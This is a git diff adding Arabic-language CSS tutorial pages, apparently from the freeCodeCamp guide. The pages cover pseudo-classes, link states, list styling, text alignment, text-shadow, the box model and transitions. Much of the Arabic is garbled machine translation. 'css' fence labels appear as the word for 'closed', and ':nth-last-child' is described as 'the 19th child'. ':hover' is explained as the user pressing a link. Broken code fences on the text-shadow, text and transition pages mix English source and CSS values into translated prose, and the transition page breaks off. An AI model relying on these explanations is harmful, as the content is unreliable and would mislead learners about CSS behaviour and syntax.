+++ b/client/src/guide/arabic/css/selectors/pseudo/index.md
@@ -0,0 +1,32 @@
+---
+title: Pseudo
+localeTitle: زائف
+---
+# اختيار pseudo
+
+توفر محددات Pseudo طريقة لاستهداف العناصر باستخدام فئات زائفة أو عناصر زائفة.
+
+## الطبقات الزائفة الهيكلية
+
+تقدم الطبقات الهيكلية الزائفة طريقة لاستهداف العناصر على أساس موقفها.
+
+الطبقة | وصف --------- | ------------ `:root` | جذر المستند. في سياق مستندات HTML ، ستكون علامة `html` في الأعلى. قد يعني ذلك عناصر مختلفة في مستندات أخرى مثل XML أو SVG. `:only-child` عنصر يمثل الطفل الوحيد لعنصره الرئيسي. `:first-child` | الطفل الأول من أحد الوالدين. `:last-child` | آخر طفل لعنصر أصل. `:nth-child(n)` | ن الطفل ال من الأم. `:nth-last-child(n)` | الطفل ال -19 من الطفل الأخير. عكس `:nth-child` . `:only-of-type` | العنصر الوحيد من النوع داخل أشقائه مع أنواع أخرى. `:first-of-type` العنصر الأول من النوع بين أشقائه. `:last-of-type` | العنصر الأخير من النوع بين أشقائه. `:nth-of-type(n)` | أخوة من نفس النوع. `:nth-last-of-type(n)` | الأخوة من نفس النوع من آخر واحد. عكس `:nth-of-type` . `:empty` | عنصر بدون أي عناصر فرعية.
+
+## UI State Pseudo Classes
+
+تقدم الطبقات الزائفة لواجهة المستخدم طريقة لاستهداف العناصر استنادًا إلى حالتها الحالية.
+
+الطبقة | وصف --------- | ------------ `:link` | عناصر الرابط غير المرغوب فيها. `:visited` | رابط زار بالفعل. `:hover` | عنصر فوق مؤشر الماوس يحوم. `:active` | عنصر تم النقر فوق مؤشر الماوس عليه ، ولكن لم يتم تحريره بعد. `:focus` | عنصر له تركيز. هام للوصول ، على سبيل المثال ، أثناء استخدام مفتاح `tab` للتنقل. `:enabled` | عنصر في حالة تمكين. `:disabled` | عنصر تم تعطيله. `:checked` | اختيار خانة اختيار أو راديو.
+
+## عناصر زائفة
+
+من ناحية أخرى ، العناصر الزائفة هي عناصر أو عناصر يتم إنشاؤها ديناميكيًا في مكان خاص.
+
+محدد | وصف --------- | ------------ `::first-line` | السطر الأول من عنصر ، عادة ما يكون حاوية أو فقرة. `::first-letter` | خطاب عنصر. تستخدم على نطاق واسع لتصفيف قبعات التصميم. `::before` | عنصر ديناميكي تم إنشاؤه بمحتوى خاص به قبل العنصر الفعلي. `::after` | عنصر ديناميكي تم إنشاؤه بمحتوى خاص به بعد العنصر الفعلي.
+
+## معلومات اكثر:
+
+يمكن العثور على معلومات إضافية في المراجع أدناه.
+
+*   [مواصفات محدد CSS3 الرسمي](https://www.w3.org/TR/css3-selectors/#structural-pseudos)
+*   [صفحة شبكة مطوري موزيلا على المحددات](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/pseudo/link/index.md b/client/src/guide/arabic/css/selectors/pseudo/link/index.md
new file mode 100644
index 0000000000..965f2bd40f
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/pseudo/link/index.md
@@ -0,0 +1,24 @@
+---
+title: Link
+localeTitle: حلقة الوصل
+---
+## حلقة الوصل
+
+يتم استخدام `:link` فئة CSS الزائفة لاستهداف جميع العناصر غير المرغوب فيها (مثل عناصر `<a>` مرساة) التي لها سمة `href` ، حتى إذا كان `href` يحتوي على قيمة فارغة.
+
+بناء الجملة العام:
+
+ `target:link 
+` 
+
+## مثال
+
+ `/* Selects any <a> that has not been visited yet */ 
+ a:link { 
+    color: red; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [: الرابط (MDN)](https://developer.mozilla.org/en-US/docs/Web/CSS/:link)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/selectors/pseudo/visited/index.md b/client/src/guide/arabic/css/selectors/pseudo/visited/index.md
new file mode 100644
index 0000000000..6e87002727
--- /dev/null
+++ b/client/src/guide/arabic/css/selectors/pseudo/visited/index.md
@@ -0,0 +1,35 @@
+---
+title: Visited
+localeTitle: زار
+---
+## زار
+
+يقوم CSS: المحدد المحدد بتغيير نمط الارتباط الذي قام المستخدم بزيارته. يتم استخدام هذا المحدد لمساعدة المستخدمين على التمييز بين الروابط التي لديهم ولم يزوروها.
+
+إذا تم استخدام العديد من محددات pseudo CSS ، يجب أن يأتي المحدد المحدد: select: link selector.
+
+في المثال أدناه ، بعد قيام المستخدم بالنقر فوق ارتباط ، سيتغير لون النص من الأسود إلى الأخضر.
+
+ ` a { 
+   color: black; 
+ } 
+ 
+ a:visited { 
+   color: green; 
+ } 
+` 
+
+نظرًا لأسباب تتعلق بخصوصية المستخدم ، يقتصر المحدد: زيارة على تعديل أنماط خصائص CSS التالية:
+
+*   اللون
+*   لون الخلفية
+*   لون الحدود (بما في ذلك لون الحدود لجوانب منفصلة)
+*   العمود القاعدة لون
+*   مخطط الألوان
+*   التعبئة والسكتة الدماغية (لصور SVG)
+
+#### معلومات اكثر:
+
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
+*   [مدارس W3](https://www.w3schools.com/cssref/sel_visited.asp)
+*   [CSS الخدع دليل لفئات الزائفة وعناصر](https://www.smashingmagazine.com/2016/05/an-ultimate-guide-to-css-pseudo-classes-and-pseudo-elements/#visited)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/structure-of-css/index.md b/client/src/guide/arabic/css/structure-of-css/index.md
new file mode 100644
index 0000000000..75056f5598
--- /dev/null
+++ b/client/src/guide/arabic/css/structure-of-css/index.md
@@ -0,0 +1,46 @@
+---
+title: Structure of CSS
+localeTitle: هيكل CSS
+---
+## بنية CSS
+
+تتبع قاعدة CSS هذا الهيكل الأساسي:
+
+ `selector { 
+  property: value; 
+  property: value; 
+ } 
+` 
+
+كل شيء داخل الأقواس المتعرجة يتناسب مع كل ما يختاره [المختار](https://guide.freecodecamp.org/css/selectors) . يوجد داخل قواعد CSS مجموعة من أزواج [الخصائص](https://guide.freecodecamp.org/css/properties) / القيمة.
+
+يمكن أن يكون لديك محددات مختلفة مفصولة بغيبوبة:
+
+ `selector1, 
+ selector2 { 
+  property: value; 
+ } 
+` 
+
+يمكن وضع قواعد CSS متعددة في ملف CSS واحد - إليك مثال على ذلك:
+
+ `h1 { 
+  color: red; 
+ } 
+ 
+ div { 
+  text-align: center; 
+  color: blue; 
+ } 
+ 
+ img { 
+  margin-left: 2px; 
+  margin-top: 100px; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [CSS البناء على قانون الويب](https://codetheweb.blog/2017/11/11/css-syntax/)
+*   المزيد عن [محددات CSS](https://guide.freecodecamp.org/css/selectors)
+*   المزيد على [خصائص CSS](https://guide.freecodecamp.org/css/properties)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/styling-links/index.md b/client/src/guide/arabic/css/styling-links/index.md
new file mode 100644
index 0000000000..cf47d4a0e1
--- /dev/null
+++ b/client/src/guide/arabic/css/styling-links/index.md
@@ -0,0 +1,77 @@
+---
+title: Styling Links
+localeTitle: روابط التصميم
+---
+## روابط التصميم
+
+يمكن تنسيق الارتباطات مع أي خاصية CSS ، مثل `color` ، `font-family` ، و `font-size` ، و `padding` . هنا مثال سهل:
+
+ `a { 
+    color: hotpink; 
+ } 
+` 
+
+## بالإضافة إلى ذلك ، يمكن تنسيق الوصلات بشكل مختلف اعتمادًا على الحالة التي توجد فيها.
+
+الروابط لها أيضا 4 حالات ، والعديد من المبرمجين أسلوب كل دولة بشكل مختلف. الدول الأربع هي:
+
+*   `a:link` غير مرغوب وغير مرغوب فيه
+*   `a:visited` : رابط تمت زيارته ونقرت عليه
+*   `a:hover` : رابط عندما يكون الماوس الخاص بالمستخدم فوقها
+*   `a:active` : رابط عند النقر فوقه
+
+إن الموقع `<a href="">` مسؤول عن إنشاء عناوين URL ويمكن تعديله باستخدام عدد من خصائص تصميم CSS ، على الرغم من أنه يحتوي على عدد قليل من الإعدادات الافتراضية بشكل افتراضي:
+
+1.  أكد
+2.  اللون الأزرق
+
+يمكنك تغيير ذلك عن طريق إضافة خصائص `color` `text-decoration` .
+
+ `   color: black; 
+   text-decoration: none; 
+` 
+
+يمكنك أيضًا تصميم الرابط استنادًا إلى التفاعل باستخدام هذه الخصائص ، ويُعرف أيضًا باسم حالات الارتباط:
+
+*   a: رابط - رابط طبيعي غير مرغوب فيه
+*   a: زار - رابط زاره المستخدم
+*   a: hover - رابط عندما يضغط المستخدم عليه
+*   ج: نشط - رابط لحظة النقر فوقه
+
+إليك بعض نماذج CSS باستخدام الحالات الأربع:
+
+ `a:link { color: red; } 
+ a:visited { color: blue; } 
+ a:hover { color: green; } 
+ a:active { color: blue; } 
+` 
+
+**لاحظ** أن هناك بعض _قواعد الترتيب_ عندما تقوم بتعيين نمط حالات الارتباط.
+
+*   `a:hover` يجب أن يكون `a:hover` `a:link` and `a:visited`
+    
+*   `a:active` يجب أن تأتي `a:active` بعد `a:hover`
+    
+    a: رابط - رابط طبيعي غير مرغوب فيه a: زار - رابط زاره المستخدم a: hover - رابط عندما يضغط المستخدم عليه ج: نشط - رابط لحظة النقر فوقه
+    
+
+ `/* unvisited link */ 
+ a:link { 
+    color: red; 
+ } 
+ 
+ /* visited link */ 
+ a:visited { 
+    color: green; 
+ } 
+ 
+ /* mouse over link */ 
+ a:hover { 
+    color: hotpink; 
+ } 
+ 
+ /* selected link */ 
+ a:active { 
+    color: blue; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/styling-lists/index.md b/client/src/guide/arabic/css/styling-lists/index.md
new file mode 100644
index 0000000000..fe1cf7d9d4
--- /dev/null
+++ b/client/src/guide/arabic/css/styling-lists/index.md
@@ -0,0 +1,189 @@
+---
+title: Styling Lists
+localeTitle: قوائم التصميم
+---
+## قوائم التصميم
+
+### HTML قوائم Recap
+
+هناك نوعان رئيسيان من القوائم في HTML - **مرتبة** وغير **مرتبة** .
+
+في القوائم **المرتبة** ( `<ol></ol>` ) ، يكون ترتيب عناصر القائمة مهمًا. قد تظهر العناصر بالترتيب حسب الرقم ، أو الأرقام الرومانية ، أو الأرقام ألفا ، أو أي نوع آخر من العلامات. العلامة الافتراضية للقوائم المرتبة هي رقم (أو `decimal` ):
+
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/ordered-list.png?raw=true "قائمة مرتبة")
+
+في قوائم **غير مرتبة** ( `<ul></ul>` ) ، لا يهم ترتيب عناصر القائمة. تظهر العناصر بتنسيق التعداد النقطي. علامة الافتراضي للقوائم غير مرتبة هي النقطة مستديرة أو `disc` .
+
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/unordered-list.png?raw=true "قائمة غير مرتبة")
+
+يتم إنشاء كل عنصر قائمة ضمن قائمة مرتبة أو غير مرتبة بالعلامة `<li></li>` .
+
+### أنماط قائمة محددة
+
+هناك ثلاث خصائص شائعة خاصة بقوائم التصميم: `list-style-type` `list-style-position` `list-style-image` . هناك أيضا خاصية الاختزال التي تشمل كل ثلاثة.
+
+#### `list-style-type`
+
+يمكن وضع العلامات (أو النقاط) التي تظهر في قوائم مرتبة وغير مرتبة بالعديد من الطرق. خاصية CSS لتصميم نوع العلامة هي نوع `list-style-type` . القيمة الافتراضية `list-style-type` مرتبة هي `decimal` ، بينما يكون الإعداد الافتراضي لقائمة غير مرتبة هو `disc` .
+
+مثال القائمة المطلوبة:
+
+>  `/* css */ 
+>  ol { 
+>   list-style-type: upper-roman; 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-upper-roman.png?raw=true "النمط العلوي من القائمة النمط الروماني")
+
+مثال قائمة غير مرتبة:
+
+>  `/* css */ 
+>  ul { 
+>   list-style-type: square; 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-square.png?raw=true "مربع من نوع نمط القائمة")
+
+لا يوجد مثال للعلامات:
+
+>  `/* css */ 
+>  ul { 
+>   list-style-type: none; 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-none.png?raw=true "النمط من نوع القائمة لا شيء")
+
+تتضمن القيم المقبولة لخاصية `list-style-type` ما يلي:
+
+_غير مرتبة:_
+
+*   قرص ( _افتراضي_ )
+*   دائرة
+*   ميدان
+
+_أمر:_
+
+*   عشري ( _افتراضي_ )
+*   العشري الرائدة الصفر
+*   المنخفض الرومانية
+*   العلوي الرومانية
+*   المنخفض اليونانية
+*   أقل-اللاتينية
+*   العلوي اللاتينية
+*   الأرميني
+*   الجورجية
+*   انخفاض ألفا
+*   العلوي ألفا
+
+_آخر:_
+
+*   لا شيء
+
+ملاحظة: يمكن استخدام جميع قيم الخصائص المذكورة أعلاه لتصميم كل من القوائم المرتبة وغير المرتبة (مثل: قائمة مرتبة بها علامات قائمة `square` ).
+
+#### `list-style-position`
+
+يتحكم في `list-style-position` ما إذا كانت علامة القائمة تظهر داخل أو خارج كل عنصر عنصر قائمة ( `<li></li>` ). تقبل الخاصية قيمتين ، `outside` (افتراضي) أو `inside` .
+
+ضع العلامة `outside` عنصر عنصر القائمة ، وستتم محاذاة جميع الأسطر والنصوص الفرعية لكل عنصر قائمة رأسيًا:
+
+>  `/* css */ 
+>  ul { 
+>   list-style-position: outside; /* default */ 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-position-outside.png?raw=true "موقف نمط القائمة خارج")
+
+ضع العلامة `inside` ، وسيتم وضع مسافة بادئة للسطر الأول من كل عنصر قائمة لإفساح المجال للعلامة. سيتم محاذاة أي خطوط فرعية من نفس عنصر القائمة مع العلامة بدلاً من السطر الأول:
+
+>  `/* css */ 
+>  ul { 
+>   list-style-position: inside; 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-position-inside.png?raw=true "موقف نمط القائمة داخل")
+
+#### `list-style-image`
+
+تقبل خاصية `list-style-image` عنوان url للصورة بدلاً من علامة القائمة. القيمة الافتراضية لهذه الخاصية هي `none` .
+
+>  `/* css */ 
+>  ul { 
+>   list-style-image: url(https://url-to-image); 
+>  } 
+> ` 
+
+#### `list-style` الاختزال
+
+`list-style` هو خاصية اختزال لخصائص النمط الثلاثة المذكورة أعلاه. إن ترتيب قيم `list-style` يقبل هو `list-style-type` `list-style-position` `list-style-image` . إذا تم حذف أي قيمة ، فسيتم استخدام القيمة الافتراضية لهذه الخاصية.
+
+> مثال:
+> 
+>  `/* css */ 
+>  ul { 
+>   list-style: circle inside none; 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-shorthand.png?raw=true "الاختزال على غرار القائمة")
+
+#### مزيد من التصميم المحدد قائمة
+
+تقبل علامات القوائم المرتبة أيضًا السمات التي تتحكم في التدفق أو العد أو قيم محدد لعناصر القائمة الخاصة بها. وتشمل هذه سمات `start` ، `reversed` ، `value` . راجع موارد MDN المدرجة أدناه لمزيد من التفاصيل.
+
+### التصميم العام
+
+يمكن تصميم محتوى القائمة تمامًا مثل عناصر `p` أو `div` الأخرى. `color` ، `font-family` ، `margin` ، `padding` ، أو `border` ليست سوى أمثلة قليلة من الخصائص التي يمكن أن تضاف إلى أي من `ul` ، `ol` ، أو `li` العناصر.
+
+لاحظ أن أي أنماط مضافة إلى عنصر `ul` أو `ol` ستؤثر على القائمة بأكملها. الأنماط المضافة مباشرة إلى عناصر `li` ستؤثر على عناصر القائمة الفردية. في المثال أدناه ، تم تصميم خصائص الحدود ولون الخلفية بشكل مختلف بين عناصر القائمة والقائمة عنصر:
+
+>  `/* css */ 
+>  ul { 
+>   list-style-type: circle; 
+>   border: 2px solid blue; 
+>   background-color: lightblue; 
+>  } 
+>  li { 
+>   margin: 5px; 
+>   background-color: lightyellow; 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-styles.png?raw=true "النمط العام على غرار القائمة")
+
+#### قائمة التباعد
+
+قد تلاحظ تباعد إضافي أمام عناصر `list-style-type` عند تعيين `list-style-type` على `none` . سيؤدي تعيين `padding` إلى `0` (أو أي فراغ مفضل) في عنصر القائمة إلى إلغاء هذا الحشو الافتراضي.
+
+>  `/* css */ 
+>  ul { 
+>   list-style: none; 
+>   padding: 0; 
+>  } 
+>  li { 
+>   padding: 5px 10px; 
+>   background-color: #EEEEEE; 
+>   border: 1px solid #DDDDDD; 
+>  } 
+> ` 
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-padding.png?raw=true "النمط العام على غرار القائمة")
+
+* * *
+
+#### مصادر:
+
+تمت الإشارة إليها الارتباطات أدناه في ترجمة المعلومات الموجودة في هذه المقالة. يرجى زيارتهم لمزيد من التفاصيل حول هذا الموضوع.
+
+#### معلومات اكثر:
+
+[MDN - قوائم التصميم](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Styling_lists)
+
+[W3Schools - قوائم CSS](https://www.w3schools.com/css/css_list.asp)
+
+[CSS الخدع - نمط القائمة](https://css-tricks.com/almanac/properties/l/list-style/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/styling-tables/index.md b/client/src/guide/arabic/css/styling-tables/index.md
new file mode 100644
index 0000000000..adcb1206d9
--- /dev/null
+++ b/client/src/guide/arabic/css/styling-tables/index.md
@@ -0,0 +1,11 @@
+---
+title: Styling Tables
+localeTitle: طاولات التصميم
+---
+## طاولات التصميم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/styling-tables/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/text-align/index.md b/client/src/guide/arabic/css/text-align/index.md
new file mode 100644
index 0000000000..19a32e338c
--- /dev/null
+++ b/client/src/guide/arabic/css/text-align/index.md
@@ -0,0 +1,49 @@
+---
+title: Text Align
+localeTitle: نص محاذاة
+---
+## نص محاذاة
+
+توضح هذه الخاصية CSS المحاذاة الأفقية للمحتوى المضمَّن في عنصر كتلة الأصل. لا تتحكم محاذاة `text-align` في محاذاة عناصر الكتلة ، ولكنها تؤثر فقط على المحتوى المضمّن الخاص بها.
+
+### القيم:
+
+يتم تحديد خاصية `text-align` ككلمة رئيسية واحدة يتم اختيارها من قائمة القيم أدناه:
+
+`text-align: left;` محاذاة النص إلى اليسار
+
+`text-align: right;` محاذاة النص إلى اليمين
+
+`text-align: center;` محاذاة النص إلى المركز
+
+`text-align: justify;` يجعل الخطوط بنفس العرض
+
+`text-align: justify-all;` يجعل الخطوط بنفس العرض ، بما في ذلك آخرها
+
+`text-align: start;` محاذاة السطر الأخير في بداية السطر
+
+`text-align: end;` محاذاة السطر الأخير في نهاية السطر
+
+`text-align: match-parent;` حساب القيم تبدأ وتنتهي إلى اتجاه الوالد واستبدالها بالقيمة المناسبة لليمين أو اليسار.
+
+**كتلة محاذاة القيم (بناء الجملة غير القياسية)** :
+
+`text-align: -moz-center;`
+
+`text-align: -webkit-center;`
+
+**القيم العالمية** :
+
+`text-align: inherit;` يرث من عنصره الرئيسي
+
+`text-align: initial;` القيمة الافتراضية
+
+`text-align: unset;` يطبق إما الوراثة أو القيمة الأولية ، اعتمادًا على الخصائص الافتراضية للعنصر
+
+#### معلومات اكثر:
+
+*   [CSS1 المواصفات](https://www.w3.org/TR/REC-CSS1/#text-align)
+*   [CSS2 المواصفات](https://www.w3.org/TR/CSS21/text.html#alignment-prop)
+*   [CSS3 المواصفات](https://www.w3.org/TR/css-text-3/#justification)
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+*   [CSS الخدع](https://css-tricks.com/almanac/properties/t/text-align/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/text-indent/index.md b/client/src/guide/arabic/css/text-indent/index.md
new file mode 100644
index 0000000000..a1983893e3
--- /dev/null
+++ b/client/src/guide/arabic/css/text-indent/index.md
@@ -0,0 +1,28 @@
+---
+title: Text Indent
+localeTitle: المسافة البادئة النص
+---
+## المسافة البادئة النص
+
+ينشئ هذا الخاصية CSS مسافة بادئة للسطر الأول في كتلة نصية.
+
+### القيم:
+
+يمكن تحديد الخاصية `text-indent` باستخدام `%` ، `px` ، `em` أو وحدات القياس مثل `cm` و `in` .
+
+فمثلا:
+
+*   `text-indent: 20%;`
+*   `text-indent: 15px;`
+*   `text-indent: 5em;`
+*   `text-indent: 2in;`
+
+يمكن أن ترث الخاصية `text-indent` أيضًا من عنصرها الرئيسي باستخدام قيمة `inherit` .
+
+فمثلا:
+
+*   `text-indent: inherit;`
+
+#### معلومات اكثر:
+
+*   [MDN Web Docs - CSS ind-indent](https://developer.mozilla.org/en-US/docs/Web/CSS/text-indent)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/text-shadow/index.md b/client/src/guide/arabic/css/text-shadow/index.md
new file mode 100644
index 0000000000..8d7e62f807
--- /dev/null
+++ b/client/src/guide/arabic/css/text-shadow/index.md
@@ -0,0 +1,48 @@
+---
+title: Text Shadow
+localeTitle: ظل النص
+---
+## ظل النص
+
+يضيف خاصية `text-shadow` ظلًا للنص. \`\` \`المغلق ظل النص: offset-x offset-y blur-radius color؛
+
+ ``### offset-x 
+ 
+ Sets the horizontal distance from the text. Accepts both positive and negative values. Positive values place shadow to the right of the text while a negative value places the shadow to the left. 
+ 
+ The `offset-x` value is required. 
+ 
+ ### offset-y 
+ 
+ Sets the vertical distance from the text. Accepts both positive and negative values. Positive values place shadow to below the text while a negative value places the shadow above. 
+ 
+ The `offset-y` value is required. 
+ 
+ 
+ ### blur-radius 
+ 
+ Sets the length of the shadow's blur. The larger the value the wider and lighter the shadow becomes. 
+ 
+ The `blur-radius` value is optional. 
+ 
+ ### color 
+ 
+ Sets the color of the shadow. 
+ 
+ The `color` value is optional. 
+ 
+ 
+ ### Example 
+`` 
+
+المغلق text-shadow: 1px - 2px 5px # a4a4a4؛
+
+ `### Example of multiple shadows 
+ Multiple shadows can be used for giving text a solid outline on all 4 directions, like a bubble-writing effect. 
+` 
+
+المغلق ظل نص: 1 بكسل × 1 بكسل أسود ، 0 1 بكسل × 1 بكسل أسود ، 1 بكسل × 1 بكسل أسود ، 0 - 1 بكسل × 1 بكسل أسود ؛ \`\` \`
+
+### معلومات اكثر:
+
+MDN Documentation: [MDN Web Docs - CSS text-shadow](https://developer.mozilla.org/en-US/docs/Web/CSS/text-shadow)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/text/index.md b/client/src/guide/arabic/css/text/index.md
new file mode 100644
index 0000000000..f678371498
--- /dev/null
+++ b/client/src/guide/arabic/css/text/index.md
@@ -0,0 +1,66 @@
+---
+title: Text
+localeTitle: نص
+---
+## نص
+
+يتم توفير العديد من الخصائص بواسطة CSS لتغيير شكل ومظهر النص. يتم شرح خصائص النص المختلفة أدناه.
+
+#### لون الخط
+
+\`\` \`أتش تي أم أل
+
+هذا مثال على خاصية نص CSS.
+
+ ` ``` css 
+ p { 
+    color:red; 
+ } 
+` 
+
+في المثال أعلاه ، يتغير `color` النص الخاص بالعنصر `<p>` إلى اللون الأحمر. يمكنك أيضًا تحديد اللون كقيم RGB وقيم HLS ورموز سداسية عشرية (لمزيد من المعلومات حول الألوان ، انقر [هنا](https://guide.freecodecamp.org/css/colors) ).
+
+#### محاذاة النص
+
+`text-align` يستخدم خاصية لتحديد المحاذاة الأفقية من النص. يمكن أن يأخذ القيم إلى `left` ، `right` ، `center` ، `justify` . \`\` \`المغلق ص { محاذاة النص: مركز؛ }
+
+ ``Here the text is aligned to the `center` ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-align)).When `text-align` is set to `justify`,each line is stretched so that every line has equal width, and the left and right margins are straight ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-align_all)). 
+ 
+ #### Text Decoration 
+`` 
+
+المغلق ص { زخرفة النص: تسطير؛ }
+
+ ``The `text-decoration` property is used to set or remove decorations from text. The value `text-decoration: none;` is often used to remove underlines from links. Other `text-decorations` include `overline`,`line-through`,and `underline` ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-decoration)). 
+ 
+ #### Text Tranformation 
+`` 
+
+المغلق ص { تحويل النص: الاستفادة }
+
+ ``The `text-transform` property is used to convert the entire text to `uppercase`,`lowercase` or to `capitilize` each word([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-transform)). 
+ 
+ #### Letter Spacing 
+ 
+ The `letter-spacing` property sets the space between characters in a text. 
+`` 
+
+المغلق ص { تباعد حروف: 5px؛ }
+
+ ``#### Line Height 
+ 
+ The `line-height` property sets the space between two lines of text. 
+`` 
+
+المغلق ص { خط الطول: 5px؛ }
+
+ ``#### Word Spacing 
+ 
+ The `word-spacing` sets the space between words in a text. 
+`` 
+
+المغلق ص { تباعد الكلمات: 5px؛ } \`\` \`
+
+#### معلومات اكثر:
+
+[W3Schools نص CSS](https://w3schools.com/css/css_text.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/the-box-model/index.md b/client/src/guide/arabic/css/the-box-model/index.md
new file mode 100644
index 0000000000..e9cb72833f
--- /dev/null
+++ b/client/src/guide/arabic/css/the-box-model/index.md
@@ -0,0 +1,31 @@
+---
+title: Box Model
+localeTitle: نموذج الصندوق
+---
+## نموذج الصندوق
+
+يعد فهم نموذج صندوق CSS أمرًا أساسيًا حتى تتمكن من تخطيط صفحة الويب بشكل صحيح.
+
+عندما يعرض المتصفح (يرسم) صفحة ويب ، يتم رسم كل عنصر ، على سبيل المثال ، قطعة من النص أو صورة ، كمربع مستطيل يتبع قواعد نموذج صندوق المغلق.
+
+في وسط المربع هو المحتوى نفسه ، والذي يأخذ ارتفاع وعرض معينين. تُعرف هذه المنطقة باسم " **منطقة المحتوى"** . يمكن تحديد حجم منطقة المحتوى تلقائيًا ، أو يمكنك تعيين حجم الارتفاع والعرض بشكل صريح. (انظر الملاحظة أدناه فيما يتعلق `box-sizing` )
+
+![صورة منطقة المحتوى](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/content%20area.jpg)
+
+حول منطقة المحتوى ، هذه منطقة تعرف باسم **منطقة Padding** . يمكن أن يكون حجم الحشوة هو نفسه في كل مكان (مع وضع `padding` ) ، أو يمكنك ضبطه بشكل فردي على `padding-top` والسفلية واليمنى واليسرى (مع `padding-top` ، `padding-right` ، `padding-bottom` `padding-left` ) .
+
+![منطقة الحشو صورة](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/padding%20area.jpg)
+
+بعد ذلك ، هناك **منطقة الحدود** . هذا يخلق الحدود حول العنصر وحشوها. يمكنك تعيين سمك ( `border-width` ) ، ولون (لون `border-color` ) ، ونمط (نمط `border-style` ) للحدود. تتضمن خيارات النمط `none` (بلا ​​حدود) ، أو `solid` ، أو `dashed` ، أو `dotted` ، أو غيرها. بالإضافة إلى ذلك ، يمكنك تعيين الحدود على الجوانب الأربعة على حدة ؛ على سبيل المثال ، الحد العلوي مع `border-top-width` ، `border-top-color` `border-top-style` لسمك ولون ونمط. (انظر الملاحظة أدناه فيما يتعلق `box-sizing` .)
+
+![صورة منطقة الحدود](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/border%20area.jpg)
+
+أخيراً ، هناك **منطقة الهامش** . يؤدي هذا إلى إنشاء مساحة واضحة حول العنصر والحشو والحدود. مرة أخرى يمكنك بشكل فردي تعيين الهوامش العلوية والسفلية واليسرى واليسرى (مع `margin-top` `margin-right` `margin-bottom` `margin-left` ). تحت ظروف معينة يحدث بهامش الهوامش وقد تتم مشاركة الهوامش بين العناصر المتجاورة.
+
+![صورة منطقة الهامش](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/margin%20area2.jpg)
+
+**`box-sizing` الملكية** الافتراضي لهذه الخاصية هو `content-box` . إذا كنت تستخدم الافتراضي ، فإن نموذج الصندوق سيسمح للمؤلف بتحديد حجم منطقة المحتوى. ومع ذلك ، من الممكن استخدام هذه بدلاً من تحديد حجم منطقة الحدود. يتم ذلك عن طريق تغيير الخاصية `box-sizing` إلى `border-box` . هذا يمكن في بعض الأحيان جعل تخطيطات أسهل. يمكنك تعيين خاصية تغيير `box-sizing` لكل عنصر حسب الرغبة.
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/transition/index.md b/client/src/guide/arabic/css/transition/index.md
new file mode 100644
index 0000000000..1a3dd92c39
--- /dev/null
+++ b/client/src/guide/arabic/css/transition/index.md
@@ -0,0 +1,35 @@
+---
+title: Transition
+localeTitle: انتقال
+---
+## انتقال
+
+و `transition` الملكية يسمح لك بتغيير قيمة العقارات بشكل سلس (من قيمة واحدة إلى أخرى)، خلال مدة معينة. \`\` \`المغلق الانتقال: كل 300ms.
+
+ `### Transition on Several Property Values 
+ 
+ You can change multiples property values with transition property. 
+` 
+
+المغلق الانتقال: عرض 300ms ، ارتفاع 2s ؛
+
+ `### Specify the Speed Curve of the Transition 
+ 
+ You can specify a speed curve on an element in transition property. 
+` 
+
+المغلق الانتقال: ارتفاع 2s خطي؛
+
+ ``or the property `transition-timing-function` 
+`` 
+
+المغلق الانتقال-- توقيت وظيفة: خطي؛ \`\` \`
+
+### قيم مختلفة من `transition-timing-function`
+
